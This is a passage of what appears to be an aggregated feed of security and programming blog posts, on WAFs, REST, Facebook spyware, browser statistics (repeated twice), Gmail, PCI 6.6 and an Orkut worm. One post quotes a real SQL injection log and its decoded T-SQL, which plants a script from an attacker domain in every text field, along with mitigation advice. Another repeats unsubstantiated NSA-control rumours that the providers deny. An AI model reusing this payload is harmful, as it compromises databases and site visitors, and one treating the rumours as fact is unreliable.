This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?
7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).
Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.
Conclusion
Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."
Sylvan von Stuppe
Top Ten Web Hacks of 2007 list has been released by Jeremiah Grossman.
Link to Jeremiah’s post: Top Ten Web Hacks of 2007 (Official)
Various XSS issues, possibilities of firefoxurl vulnerabilities, dangers of opening PDF’s, etc. etc.
Happy clicking!
Some time ago I decided to start a new blog, a place where I would be able to address the topics that are not ModSecurity specific. I felt the ModSecurity Blog has its purpose and a happy audience; I didn't want for it to lose the focus. Today I made my first proper post at this new blog:
"There is a long-running tradition in the web application firewall space; every year we say: "This year is going to be the one when web application firewalls take off!" So far, every year turned out to be a bit of a disappointment in this respect. This year feels different, and I am not saying this because it's a tradition to do so. Recent months have seen a steady and significant rise in the interest in and the recognition of web application firewalls. But why is it taking so long?
To read more please continue to "Tide is turning for web application firewalls".
Alex's Corner
Let’s imagine we live in a late binding world, a programming world of messages, what should that look like? What does it look like in the large?
The Smalltalk notion of this is many, many independent referencable objects. Objects all the way down. So you might get something like buddies do: [ buddy | buddy sendMessage: myMessage].
At runtime this means something like:
As you can see, there can be a lot of tracing through code in this style. This has been called Ravioli code. Many people lean heavily on concepts like classes and methods to make sense of this kind of code, though if you look through my description you’ll notice they don’t show up; it is apparently somewhat frustrating for Alan Kay that he first used the term "object-oriented" when he would have preferred this message-oriented concept. Classes and methods are just implementation details. Messages and object references are the true fundamental concept.
Doing this in the large means that a lot of these messages go over the network. It means we can get a handle to an object that lives on another computer. It might result in a system that is very chatty (many systems with transparent RPC do end up being unintentionally chatty). But it doesn’t have to. You can make this asynchronous to facilitate these kinds of efficiencies.
That said, there is another distinct technique for programming in the large: document oriented programming. This is what REST is focused on: transmitting state in as complete a form as feasible, with explicit references whenever referring to another resource.
Resources and objects are in many ways similar, but in other ways completely opposite. An object has behavior but no visible state. It responds to messages, passing more objects along. Resources themselves have no behavior. They are just bare state. REST and the web kind of adds behavior, but strict REST avoids even that. PUT is not behavior. PUT is almost like a declaration of fact. When you PUT to a resource you are claiming that the new state of the resource represents the truth of that resource. Any behavior that occurs because of that is hidden. Other resources may change as a result of the PUT, but this is not exposed in any way. To find out what’s changed you simply have to refresh all the state you’ve acquired — re-GET the resources. (POST, except when used simply to create a resource, is more like a verb than a statement of truth; the HTTP model is not pure in this respect.)
For programming on a web scale resources have become the dominant technique. REST was really an acknowledgement of this idea, not the invention of it. It’s also an advocacy effort that our future work should be built on this past success. It’s been focused very clearly on advocating resources over the object/message-based systems of WS-*, but the WS-* design is hardly the first or only object based system of its kind; anything called "RPC" comes from that line of thinking. But now that WS-* isn’t king of the hill anymore maybe we can more be more thoughtful about how REST relates to other programming techniques.
A way to describe the difference in terms of programming language design is that with resources everything we do is call by value. Resources are values, and we pass them around in their complete form. You can pass around a reference value (a URI), but this is like calling a function with a pointer argument. Object/RPC techniques are call by reference (though at some level there are true "values", things like integers and strings, as things would simply be too chatty otherwise).
One interesting place where objects and resources can overlap is in functional programming. Thinking in terms of call by value or call by reference, in a functional programming language these are identical. Because values are not mutable a value and a copy of the value are equivalent. You can also pass an object between systems by reference, in whole, or some lazy compromise where the object is only incrementally communicated between the processes.
Resources are in a sense immutable regardless of your programming language. When you retrieve a resource you cannot modify it in place, as the result is no longer representative of what the resource really is. You can put a new resource in a named location (PUT), and you can copy resources (maybe making an internal copy). Incidentally this is why I think literal document models are best. It would probably be useful to have a native representation of what a "resource" really is in programming languages, though usually this is not done. A resource should really be a document (content type, some bytes, perhaps a cache of parsed representations) plus the name (URI) and the time. Resources aren’t eternal, but given a time and URI there is (in a REST world) a single canonical representation.
Further investigations of functional programming languages would probably be useful here. I believe strict functional languages have interesting metaphors for handling this kind of information; the eternal immutable sense of what a thing is at a point in time, and a way to reconcile the incomplete knowledge of what a resource is right now. I don’t think this is a clear pattern in Erlang, but is in Haskell.
One useful aspect of resources is the ability to spy on the process, to get a snapshot of it, to understand it in a kind of literal way. This is view source in a browser, or just poking around with curl. You can feel a certain confidence that you can get a real sense of what the truth is using these tools. In an object-based system you can only poke around with a process of 20 questions, hoping that there isn’t some hidden truth that you are unaware of. For instance, talking to a proxy that is almost exactly like the original object, but with some small replacement. Of course internally a server can be peculiarly coupled as well, with relationships between the resources that aren’t explicit or obvious. But at least the faces it projects are fully formed.
I still haven’t fully figured out what distinguishes a document model from an object model, but I think the distinction between the two contains some interesting stuff worth exploring.
My Admirer application (previously known as Secret Crush) has been removed from Facebook now. The installation process was canceled during the weekend, but now it is finally gone.
Fortinet reported about the Zango spyware installation related to this application last week. The issue was described in this SecuriTeam post.
Response from Zango Inc. is interesting to read - link to the Zango blog here.
From the post:
At no point in adding the Secret Crush widget to a Facebook profile does the widget install either spyware or Zango software, or even attempt to do so. Any suggestion that Zango software is being “secretly installed” is simply not true.
It appears that there was no automatic installation of spyware at all.
Here is a snippet from the just released SANS NewsBites letter:
"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."
Additional coverage is available from several places:
So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.
While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.
Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:
2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST (0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002 C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002 0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002 000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006 F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006 E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002 00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006 5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007 80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002 90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004 80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007 200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004 30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002 70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004 00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006 800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002 0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002 F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002 0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002 00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006 2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006 2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);|178|80040e14| Unclosed_quotation_mark_before_the_character_string_G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST (0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002 C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248
If you decode the CAST values, here is the actual SQL that is being injected:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C
Mitigation Options
There are many remediation steps that can and should be taken.
Immediate Fix: Use ModSecurity and the Core Rules
If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.
Mid-Term/Long-Term Fix: Correct the Code
Web Developers should identify and correct any Input Validation errors in their code.
The first spyware spreading with Facebook application has been discovered. Security company Fortinet reports that application called Secret Crush is installing Zango (aka AdWare.Win32.180Solution) with Iframe, technically from ZangoCash.com.
Shortly, this is the spreading mechanism:
In opening the request, the recipient is informed that one of his/her friends has invited him/her to find out more information by using “Secret Crush” (this happens frequently with Facebook’s Platform Application). [Figure 2] exhibits the social engineering speech employed by the malicious widget to get the user to install it.
The text included to the request entry is “One of Your Friends Might Have a Crush on You!”. Additionally, the buttons are ‘Find Out Who!’ and typical ‘Ignore’.
It appears that Secret Crush is not included to Facebook Application Directory (no log-in needed) any more. Reportedly FortiGuard Team has informed Facebook guys and probably the application has been disabled already.
Update 4th Jan: The application mentioned is located here (renamed to My Admirer), still accessible and has “50,708 daily active users i.e. 4% of total”.
The exact number of affected users is not available.
If there’s one thing I’ve learned in my years as a grown-up, it’s this: Don’t make assumptions. All too often, things I’ve thought were no-brainers turned out to be questionable at best, like:
I often see techie types making assumptions based on their experience, like “program A is unusable” (because on his rather oddly set-up system, it crashed on install) or “no real programmers write in Ruby” (because he doesn’t know anyone personally who do) or “only a tiny fraction of Mac users browse with Firefox” (because it’s the default browser out of the box, and average users always use the default, right?).
It was this last assertion, and the accompanying statement “I don’t have to prove something so obvious” that inspired this article. I wouldn’t have been particularly surprised if Safari had a majority of the Mac browser market, but my personal experience had been that a fair number of non-techie Mac folks use Firefox. Beyond that, I wanted to get some real data, and not make assumptions. If you can’t provide some basis for your assertions, they’re not worth much. It’s a clear sign of a bad argument, and little gets me more worked up than weak logic.
The audience for a web site has a pretty significant impact on what browsers we see visitors using. Tech-oriented sites tend to have a higher percentage of users running alternate browsers like Firefox. You’ll get more Camino users on a Mac-oriented site, and Konqueror will show up more often on sites with content for Linux users. That means we have to at least take into account the content of the site when drawing conclusions from the numbers.
Here’s what I’ve found myself, and what others have shared with me, so far. Understandably, some folks shared their stats with me asked to remain anonymous, or that the site they come from not be revealed. I’ve described them as best I can. Also note that in some cases I received just info on Mac browsers, and others I had data for all browsers. I’ve calculated a ratio and “winner” at the end of each entry.
Is this data conclusive? Of course not. It’s a small sample of a handful of sites, and not particularly popular ones at that. But, it does seem to at least indicate that Firefox may be quite a bit more popular among Mac users than I – and certainly other people – thought.
If you’d like to contribute data, just drop me a line or leave a comment.
Funkatron.comThis site, obviously strongly tech-oriented, but also gets a decent amount of sport-oriented search engine traffic
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 19.31 |
| Safari/Macintosh | 13.38 |
Approx ratio: 1.5/1 Firefox
Sorority web siteNon-tech focused, active site for members of sorority
| Browser | % of Mac |
|---|---|
| Safari/Macintosh | 48.44 |
| Firefox/Macintosh | 41.78 |
Approx ratio: 1.1/1 Safari
EricaBaker.comPersonal blog, significant tech/mac content
| Browser | % of Mac |
|---|---|
| Firefox/Macintosh | 53.86 |
| Safari/Macintosh | 40.19 |
Approx ratio: 1.3/1 Firefox
Abandoned non-tech subculture siteVery low, mostly search engine traffic
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 10.75 |
| Safari/Macintosh | 10.75 |
Approx ratio: 1/1
Abandoned personal blogSome tech/mac content
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 61.15 |
| Safari/Macintosh | 36.21 |
Approx ratio: 1.7/1 Firefox
New sports blog| Browser | % of total |
|---|---|
| Safari/Macintosh | 50.74 |
| Firefox/Macintosh | 45.92 |
Approx ratio: 1.1/1 Safari
Abandoned sports web siteVery low, mostly search engine traffic
| Browser | % of total |
|---|---|
| Safari/Macintosh | 3.43 |
| Firefox/Macintosh | 1.75 |
Approx ratio: 2/1 Safari
Low-traffic, non-tech site| Browser | % of Mac |
|---|---|
| Firefox/Macintosh | 74.15 |
| Safari/Macintosh | 25.85 |
Approx ratio: 3/1 Firefox
If there’s one thing I’ve learned in my years as a grown-up, it’s this: Don’t make assumptions. All too often, things I’ve thought were no-brainers turned out to be questionable at best, like:
I often see techie types making assumptions based on their experience, like “program A is unusable” (because on his rather oddly set-up system, it crashed on install) or “no real programmers write in Ruby” (because he doesn’t know anyone personally who do) or “only a tiny fraction of Mac users browse with Firefox” (because it’s the default browser out of the box, and average users always use the default, right?).
It was this last assertion, and the accompanying statement “I don’t have to prove something so obvious” that inspired this article. I wouldn’t have been particularly surprised if Safari had a majority of the Mac browser market, but my personal experience had been that a fair number of non-techie Mac folks use Firefox. Beyond that, I wanted to get some real data, and not make assumptions. If you can’t provide some basis for your assertions, they’re not worth much. It’s a clear sign of a bad argument, and little gets me more worked up than weak logic.
The audience for a web site has a pretty significant impact on what browsers we see visitors using. Tech-oriented sites tend to have a higher percentage of users running alternate browsers like Firefox. You’ll get more Camino users on a Mac-oriented site, and Konqueror will show up more often on sites with content for Linux users. That means we have to at least take into account the content of the site when drawing conclusions from the numbers.
Here’s what I’ve found myself, and what others have shared with me, so far. Understandably, some folks shared their stats with me asked to remain anonymous, or that the site they come from not be revealed. I’ve described them as best I can. Also note that in some cases I received just info on Mac browsers, and others I had data for all browsers. I’ve calculated a ratio and “winner” at the end of each entry.
Is this data conclusive? Of course not. It’s a small sample of a handful of sites, and not particularly popular ones at that. But, it does seem to at least indicate that Firefox may be quite a bit more popular among Mac users than I – and certainly other people – thought.
If you’d like to contribute data, just drop me a line or leave a comment.
Funkatron.comThis site, obviously strongly tech-oriented, but also gets a decent amount of sport-oriented search engine traffic
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 19.31 |
| Safari/Macintosh | 13.38 |
Approx ratio: 1.5/1 Firefox
Sorority web siteNon-tech focused, active site for members of sorority
| Browser | % of Mac |
|---|---|
| Safari/Macintosh | 48.44 |
| Firefox/Macintosh | 41.78 |
Approx ratio: 1.1/1 Safari
EricaBaker.comPersonal blog, significant tech/mac content
| Browser | % of Mac |
|---|---|
| Firefox/Macintosh | 53.86 |
| Safari/Macintosh | 40.19 |
Approx ratio: 1.3/1 Firefox
Abandoned non-tech subculture siteVery low, mostly search engine traffic
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 10.75 |
| Safari/Macintosh | 10.75 |
Approx ratio: 1/1
Abandoned personal blogSome tech/mac content
| Browser | % of total |
|---|---|
| Firefox/Macintosh | 61.15 |
| Safari/Macintosh | 36.21 |
Approx ratio: 1.7/1 Firefox
New sports blog| Browser | % of total |
|---|---|
| Safari/Macintosh | 50.74 |
| Firefox/Macintosh | 45.92 |
Approx ratio: 1.1/1 Safari
Abandoned sports web siteVery low, mostly search engine traffic
| Browser | % of total |
|---|---|
| Safari/Macintosh | 3.43 |
| Firefox/Macintosh | 1.75 |
Approx ratio: 2/1 Safari
Low-traffic, non-tech site| Browser | % of Mac |
|---|---|
| Firefox/Macintosh | 74.15 |
| Safari/Macintosh | 25.85 |
Approx ratio: 3/1 Firefox
Howdy ho from Brazil, folks.
Remember that vulnerability in Gmail filter feature reported by Petko D. Petkov in September? Google fixed this vulnerability a few days after it was disclosed, but something was missing: end users should be noticed about that.
Early this week I was made aware of someone who was hit hard by this vuln months after it was fixed. David Airey’s domain was hijacked and this vulnerability helped on that.
But Google fixed that, what’s the problem? They should have noticed all users about that. New filters could not be injected anymore after the fix, but filters injected before the fix were still there. A simple “please check you filters” Web two-dot-oh notice would be enough, only if new filters were added in the days between the vuln was disclosed and the fix. End users don’t read the same blogs, lists and security resources that we read. Users are not supposed to know the nuts and bolts of the vulnerability, but they should know what manual actions should be taken.
I don’t know about you, but I thought about some solutions for that:
Another simple mitigation action that people should use for any online service is something like a privilege separation (I don’t have a better name for that). Use different accounts for different purposes, have a master account and child accounts that forward every message to the master account.
If you are a moderator in a Yahoo! Group don’t use your main personal profile for group management, for example. Reducing the lifetime of the session to 15 minutes and log in only on trustworthy networks are other paranoid measures that could be considered. If there’s a targeted attack against your account probably your less critical account will be affected.
Do you have any insight about this Gmail vuln? Comment.
More info:
We've had a couple of very interesting presentations on the OWASP London Chapter December 6th meeting. They are now available for download from the Chapter page or directly from here:
Getting good turnout at OWASP London meetings is traditionally difficult. There were 13 people attending the meeting in September (the first meeting I organised) with 18 people showing up in December. (Is this a positive trend? Probably too early to tell.) Some other Chapters don't seem to have problems with low attendance (for example those in Belgium, Israel, New York, to name a few) but having 18 people turn up -- in spite of the horrible weather we've had on the day -- is a success in London.
I am sure there is no shortage of people in London interested in computer security but finding a way to get them to attend OWASP meetings still eludes us. Adrian, one of the speakers at the most recent meeting, shares the sentiment in his blog post. So does Daniel, who had started the Chapter and organised many of its meetings:
"Having started the OWASP London chapter and sorted a few London meetings, I can tell you it's a damn hard job. The problem with London is that everyone is busy, and after a long day you often feel like going home and relaxing with the family/wife/girlfriend/boyfriend etc. It sucks, I wish it was more like the US side of things, but it's a price you pay for being in such an aggressive market."
I am sure of a few things, though: hard work and persistence are the essential ingredients. Our biggest problem, however, may be with the lack of proper marketing. I am guessing most of the people who would be interested in attending have no idea about the meetings at all. Oh, well. One more thing to add to my to-do list!
A frequent source ‘A’ sending updated NSA-Affiliated IP resources to Cryptome’s Web site has reported the following new information:
Certain privacy/full session SSL email hosting services have been purchased/changed operational control by NSA and affiliates within the past few months, through private intermediary entities.
Reportedly the following services are controlled:
Hushmail - based in Canada,
Guardster - based in USA,
and
SAFe-mail.net - based in Israel.
Link here: NSA Controls SSL Email Hosting Services
Update 22nd Dec: Guardster Team has posted its response on 21st Dec to Cryptome:
We can assure you that we do not cooperate with the NSA or any other government agency anywhere in the world. We invite whomever is making this statement to provide proof, rather than making a baseless accusation.
….
Response from Safe-mail.net Team (24th Dec) is the following:
1. We never had any contacts, direct or indirect, with the NSA or any other
government agency anywhere in the world.
2. All software we use is in-house development.
3. We have never shared our technology with any other party.
….
Update 30th Dec: Hushmail Team has posted its response yesterday to Cryptome’s Web site:
Hush Communications Corporation, the company that provides the Hushmail.com email service, is not owned, wholly or in part, by any government agency.
Additionally, ‘More info on industry Windows security software’ has been released:
Zone Alarm, Symantec, MacAfee: All facilitate Microsoft’s NSA-controlled remote admin access via IP/TCP ports 1024 through 1030; ie will allow access without security flag. Unknown whether or not software port forward routing by these same programs will defeat NSA access.
The post released in Cryptome.org on 1st Nov informed about the future updates with details related to this issue and this is the first piece of information.
To the new readers: Cryptome: NSA has access to Windows Mobile smartphones
An Orkut based virus/worm appears to be on the loose, it propagates by posting notes on people’s scrapbook. So chances are that if you got a new scrapbook item on your long-unused Orkut it is because the worm has infected one of your friends there.
The virus/worm utilizes javascript code to propagate. The source of it can be found here: hxxp://files.myopera.com/virusdoorkut/files/virus.js
Update: Google apparently is actively deleting items from the scrapbook of people that were infected and that have infected others.
Update 2: More details can be found here: [antrix.net]
There have been many heated debates in web security circles around the wording of the PCI 1.1 Requirement 6.6 section and it all centers around the semantics of the word "either". The Requirement 6.6 states the following:
"6.6 Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:
- Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security
- Installing an application layer firewall in front of web-facing applications.
Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement."
The word either in this context indirectly implies that these two option are functionally equivalent and therefore the user could choose either one and receive the same level of security benefit. Well, as you might guess, this sparked a vast amount of debate from webappsec folks as to the amount of security protection that is gained from a source code review vs. using a web application firewall. To make the waters even murkier, you even had web vulnerability scanner/service vendors asking the PCI counsel if users could run these tools vs. conducting an actual source code review. So now users who were attempting to become compliance with PCI section 6.6 weren't sure what they needed to do or what tool or process was the "best" approach...
I believe that an important issue that is being forgotten when people think of "source code review" is that the actual review is only one portion of the overall process. Most people do not factor in the remediation portion of the process. I could probably be convinced that a manual source code review vs. review with a source code analysis tool vs. running web vuln scanner could yield roughly similar results - they identify what the problems are. What about fixing them?
This is the core issue in 6.6 - to implement some sort of remediation to prevent successful web attacks. Why do I believe this? Well, if you refer to the PCI DSS Security Audit Procedures document it outlines how a PCI auditor will evalute each requirement to confirm whether or not the organization is in compliance. Section 6.6 - Testing Procedures - states the following:
"6.6 For web-based applications, ensure that one of the following methods are in place as follows:
- Verify that custom application code is periodically reviewed by an organization that specializes in application security; that all coding vulnerabilities were corrected; and that the application was re-evaluated after the corrections"
As you can see, the goal of this section is to show that not only were vulnerabilities identified but that they were also fixed. So whether or not the vulnerabilities were identified by source code review or a scanner does not seem to be the main issue from PCI but rather was the vulnerability actually fixed??? It is the process of actually remediating the vulnerabilities that is taking entirely too long for organizations, if it happens at all. I mean, how many times does an Authorized Scanning Vendor (ASV) find the exact same vulns showing up in scan after scan? They are quickly showing the customer what/where the problems are but they just can't fix them for a variety of reasons:
Whatever the reason, current SDLC processes for quickly fixing vulnerabilities found in production are lacking. This brings us to the web application firewall. If you look at the 2nd party of the 6.6 testing procedures, it states this for WAFs
"Verify that an application-layer firewall is in place in front of web-facing applications to detect and prevent web-based attacks."
Notice that the WAF has to be in block mode! This again, supports the idea of remediation. So, just because an organization deploys a WAF is not enough to comply with requirement 6.6. You need to be blocking attacks (mainly SQL Injection and XSS as they are the only 2 that are considered HIGH severity). It is for these reasons that I believe that the "intent" of 6.6 is geared towards remediation efforts and not just identification tasks.